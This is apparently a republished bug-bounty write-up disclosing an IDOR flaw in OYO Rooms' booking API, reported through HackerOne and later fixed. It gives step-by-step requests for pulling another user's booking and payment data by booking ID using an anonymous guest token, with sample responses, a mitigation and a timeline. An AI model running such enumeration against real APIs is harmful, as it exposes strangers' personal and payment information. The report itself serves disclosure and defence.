IDOR at the Get Payment Data Endpoint Leads to Personal Identifiable Information (PII) Disclosure

4 months ago 33
BOOK THIS SPACE FOR AD
ARTICLE AD

Azhari Harahap

Proof of Concept (PoC)

Hello everyone,

In this post, I will show you how I discovered an Insecure Direct Object Reference (IDOR) vulnerability at the Get Payment Data endpoint. Due to this vulnerability, attackers could access sensitive information such as Personal Identifiable Information (PII) & payment information from other users.

What are insecure direct object references (IDOR)?

According to PortSwigger Web Security Academy, Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented. IDOR vulnerabilities are most commonly associated with horizontal privilege escalation, but they can also arise in relation to vertical privilege escalation.

IDOR by Dreamlab Technologies

Some real-life cases of IDOR attacks:

IDOR to add secondary users in www.paypal.com/businessmanage/users/api/v1/users to PayPalIDOR allow access to payments data of any user to Nord SecurityInsecure Direct Object Reference (IDOR) — Delete Campaigns to HackerOneIDOR — Delete all Licenses and certifications from users account using CreateOrUpdateHackerCertification GraphQL query to HackerOneIDOR allows an attacker to modify the links of any user to RedditStarbucks IDOR: How we prevented an information leak of 6 million Starbucks customers

You can also check “Top IDOR reports from HackerOne”.

Who is the target?

OYO Rooms, also known as OYO Hotels & Homes, is an Indian multinational hospitality chain of leased and franchised hotels, homes and living spaces.

OYO has a Vulnerability Disclosure Program (VDP) on HackerOne, you can check it on their page OYO Vulnerability Disclosure Program for more details on the program scope, rules, etc.

Reconnaissance

Reconnaissance is the first phase of a penetration testing engagement. It involves gathering information about the target system or network that is going to be tested. The goal of reconnaissance is to gather as much information as possible about the target so that the penetration tester can understand the target system’s architecture, identify potential vulnerabilities, and develop an attack strategy. The reconnaissance phase is crucial because it helps the tester to understand the target better and to plan their attack accordingly.

OYO has an iOS mobile app version & I focused on my favorite testing area which is API testing, so my plan is to use the mobile apps & inspect the API request using Burp proxy.

OYO iOS mobile app proxy to Burp

This is where I casually use the mobile apps like normal users by exploring the functionality & after a while, this is where I found the vulnerability in the booking feature.

Steps To Reproduce

[1] Create 2 users attacker and victim.

[2] Let’s say the victim already created a booking, and the booking_id is 295081245.

[3] Now as attacker, log in to the OYO mobile apps, in this case, I'm using the iOS app, and turn on the Burp proxy to get the Access Token.

[4] Request the vulnerable endpoint to get sensitive information from the victim. We can use Postman.

Request:

GET https://bff.oyorooms.com/v1/booking/get_payment_data/295081245/?channel=IOS%20App

Headers:
User-Agent: oyo-ios/9.0 (iPhone; iOS 15.8; Scale/2.00)
Access_token: {{access_token}}

Response:

{
"header_widgets": null,
"content_widgets": [],
"content_widget_hidden_dividers": null,
"bottom_sheet": null,
"booking_object": {
"price_lock": false,
"show_tax_info": false,
"phone_number": "REDACTED",
"cancellation_charges_breakup_hash": [],
"oyo_wizard": {},
"payable_amount": 245854.0,
"is_offer_applicable": false,
"get_amount_paid": 0.0,
"get_real_amount_paid": 0.0,
"id": "295081245",
"hotel_id": 86177,
"no_of_guest": 2,
"roomCount": 1,
"guest_name": "REDACTED",
"guest_phone": "REDACTED",
"guest_email": "REDACTED",
"booking_rooms": [
{
"id": 365568362,
"booking_id": 295081245,
"no_of_person": 2,
"no_of_adults": 2,
"no_of_children": 0,
"no_of_pets": 0,
"no_of_babies": 0
}
],
"checkin": "2024-04-09",
"checkout": "2024-04-10",
"amount": 702438.0,
"status": "Confirm Booking",
"status_key": 0,
"final_amount": 245854.0,
"discount": 456584.0,
"currency_symbol": "Rp",
"coupon_code": "ADAOYO",
"roomNights": 1,
"total_amount": 702438.0,
"final_amount_excluding_oyo_money": 307317.0,
"total_amount_including_extra_cost": "245854",
"discounts_hash": [
{
"type": "coupon",
"amount": 395121.0,
"title": "Coupon Discount",
"display_amount": null,
"subtitle": [
"Coupon: ADAOYO"
]
},
{
"type": "oyo_money",
"amount": 61463.0,
"title": "OYO MONEY DISCOUNT",
"display_amount": null,
"subtitle": [
"OYO XTRA DISCOUNT"
]
}
],
"payments_hash": [],
"room_category": {
"room_category_id": 30,
"room_category_name": "Indonesia Standard Double"
},
"display_tariff": 702438.0,
"hotel": {
"id": 86177,
"name": "Super OYO 1948 Apartement REDACTED",
"country_id": 96,
"directions": "From REDACTED toll gate, take left (go east) to Jl. REDACTED. After 1 km, right after EMC Hospital, take left and follow the lane. On the roundabout take the second exit. After 500 m, the property will be on the left. ",
"formatted_checkin_time": "02:00 PM",
"formatted_checkout_time": "12:00 PM",
"address": "REDACTEDr",
"category": "OYO Hotels",
"currency_code": "IDR",
"country_iso_code": "ID",
"alternate_name": "Apartement REDACTED",
"status": "Live",
"latitude": "REDACTED",
"longitude": "REDACTED",
"oyo_id": "ID_BGR017",
"city": "REDACTED",
"phone": "REDACTED",
"primary_contact": "REDACTED",
"plot_number": "No. 40",
"street": "REDACTED",
"pincode": "REDACTED"
},
"static_display_text": {
"header_text": "Your booking is confirmed",
"sticky_text": "Confirmed Booking"
},
"pricing_details": [
{
"title": "Room price for 1 night X 2 guests",
"amount": 702438.0,
"type": "room_tariff"
}
],
"payment_details": [
{
"title": "Coupon Discount",
"amount": 395121.0,
"type": "coupon"
},
{
"title": "OYO MONEY",
"amount": 61463.0,
"type": "oyo_money"
}
],
"created_at": "2024-02-05T18:10:29.570+05:30",
"booking_policies": {
"title": "Booking Policies",
"data": [
{
"id": "dp6"
}
]
},
"invoice_no": "MNPS0830",
"get_payment_status": "Pending",
"amount_refunded": "0.0",
"is_slot_booking": false,
"slot_info": [],
"is_modifiable": false,
"booking_no": "MNPS0830",
"refunds_hash": {
"notice": "If refund is not received in next 10-12 days get in touch with us using your Booking id",
"breakup": []
},
"tax_amount": 0,
"guest": {
"country_code": "+62"
},
"insurance_banner": {
"image_url": "https://oyo-crs-assets.s3-ap-southeast-1.amazonaws.com/OYOs-widget-in-Grabs-App_3.jpg",
"deep_link": "https://www.oyorooms.com/weblink?url=https://www.acko.com/oyo/knowmore/en"
},
"hotel_image": "https://images.oyoroomscdn.com/uploads/hotel_image/86177/c49932e33ea1121f.jpg",
"opted_services": {
"meals": {}
},
"city": "REDACTED",
"country_name": "REDACTED",
"booking_amount_for_wizard": 307317.0,
"is_corporate": false,
"insurance_enabled": true,
"oyo_money_refunded": 0.0,
"amount_refundable": 61463,
"oyo_money_refundable": 61463,
"total_amount_refunded": 0,
"cancellation_charges": 0,
"total_amount_paid": 61463,
"mor_flag": false,
"occupancy_wise_room_config": {
"2": 1
},
"source": "Web Booking",
"program_info": [],
"get_payment_status_id": 0,
"soft_checkin_location_status": "PENDING",
"noOfNights": 1,
"oyo_cashback_opted": false,
"free_room_night_discount": {
"discount_amount": 0,
"discount_percentage": 0,
"frn_code": null,
"unit_discount_info": null
}
},
"status_data": null,
"experience_dialog_delay": null
}

As we can see, we are able to get sensitive information such as PII & payment information from the victim.

[5] After checking again, I discover that I’m actually using the ANONYMOUS_GUEST token, so for step 3 it's not necessary to log in to the mobile apps, so we can choose I'll signup later instead to get the ANONYMOUS_GUEST token.

Here’s an example of the token information:

Request:

GET https://bff.oyorooms.com/v2/users/anonymous_login?device_id=FFB8F993-F89D-47F6-ABC9-994B20586A79&lat=0&lon=0&magik_ab_disable=1&version=9.0

Headers:
User-Agent: oyo-ios/9.0 (iPhone; iOS 15.8; Scale/2.00)
Access_token: Q0s3RGV2M3hZcFp6QjRib2lIUmE6a1lWNjVGZXRrcWdOM0d6S3V5aEc=

Response:

{
"id": 195645906,
"phone": null,
"email": "ffb8f993-f89d-47f6-abc9-994b20586a79.anonymous@oyorooms.com",
"city": null,
"sex": null,
"team": null,
"role": "Guest",
"address": null,
"features": {
"enable_chat": "false"
},
"ovhUser": false,
"access_token": "F8cdvdVOlKmfRIB7DBhLow",
"user_id": 108766585,
"country_code": "+62",
"first_name": "Guest",
"last_name": null,
"date_of_birth": null,
"devise_role": "ANONYMOUS_GUEST",
"phone_verified": false,
"email_verified": true,
"updated_at": 1707137689,
"is_relationship_mode_on": null,
"can_access_company_account": null,
"can_access_profile": null,
"can_change_commission": null,
"home_page_type": "true",
"country_iso_code": "ID"
}

[6] After digging deeper I actually found that other endpoint is also vulnerable GET https://bff.oyorooms.com/v1/booking/{{booking_id}}

Booking Detail Endpoint is also vulnerable

Impact

[1] Attackers could view the booking information of the victim which contains:

Personal Infomation, e.g. guest_name, guest_phone, guest_email.Other sensitive information, e.g. hotel_id, hotel_name, country_id, country_name, latitude, longitude, no_of_guest, roomCount, checkin, checkout, etc.

[2] Attackers could view the payment booking information of the victim which contains pricing_details, payment_details, amount_refundable, oyo_money_refundable, total_amount_paid, coupon_code, discounts, etc.

Mitigation

Enforced access control check on the affected endpoint to ensure the privacy and security of OYO’s users by checking if the booking_id is owned by the logged-in user, by checking from their access token.

Conclusion

In summary, the exploration of the IDOR vulnerability within the booking feature highlights the importance of maintaining the security of the API to keep the system secure. From the security researcher’s point of view, it also highlights the importance of mobile app testing for content discovery that could lead to finding vulnerabilities.

Timeline

[06/02/2024] Report submitted, status New[12/02/2024] First response from H1 analyst, requesting more info due to inability to reproduce the issue, status changed to Needs more info[13/02/2024] Add further explanation about the issue, status changed to New[14/02/2024] The H1 analyst is able to reproduce the issue, and the status changed to Pending program review, severity changed from High to Medium (5.9)[27/02/2024] Asking for updates[08/03/2024] Asking for updates[08/03/2024] First response from OYO, they said they’re looking into this and will get back shortly[14/03/2024] Asking for updates[14/03/2024] OYO said that they are working on this internally & will get back with the results as soon as possible[05/04/2024] Asking for updates again, since it’s been 2 months since the issue was reported & 3 weeks since the last update from OYO[05/04/2024] OYO said that they will let me by this week’s end or mostly by next week.[15/04/2024] No updates after a week, asking for updates again[15/04/2024] OYO said that the team is investigating this issue and they understand that this is taking a bit longer due to multiple reports to be worked upon[15/04/2024] OYO said that they’ve been able to validate this and the team is working on a remediation plan. The status changed to Triaged[16/04/2024] Asking to update the severity to Critical based on HackerOne policy regarding Leakage of Sensitive PII https://docs.hackerone.com/en/articles/8369826-detailed-platform-standards[23/04/2024] OYO said that the engineering team has deployed a fix for this so the issue should no longer be reproducible & asking for retest (ability to bypass the fix)[05/06/2024] Perform a retest & confirm that this issue is no longer reproducible. Asking for sharing the root cause & remediation step of this issue, since I’ll be requesting a public disclosure & publish a write-up soon for this. Also friendly reminder to change the severity to Critical[26/06/2024] Submit the first draft of the public disclosure

Reference

Insecure direct object references (IDOR) | Web Security Academy[MITRE] CWE-284: Improper Access Control[MITRE] CWE-306: Missing Authentication for Critical FunctionIDOR to add secondary users in www.paypal.com/businessmanage/users/api/v1/usersIDOR allow access to payments data of any userInsecure Direct Object Reference (IDOR) — Delete CampaignsIDOR — Delete all Licenses and certifications from users account using CreateOrUpdateHackerCertification GraphQL queryIDOR allows an attacker to modify the links of any userStarbucks IDOR: How we prevented an information leak of 6 million Starbucks customers
Read Entire Article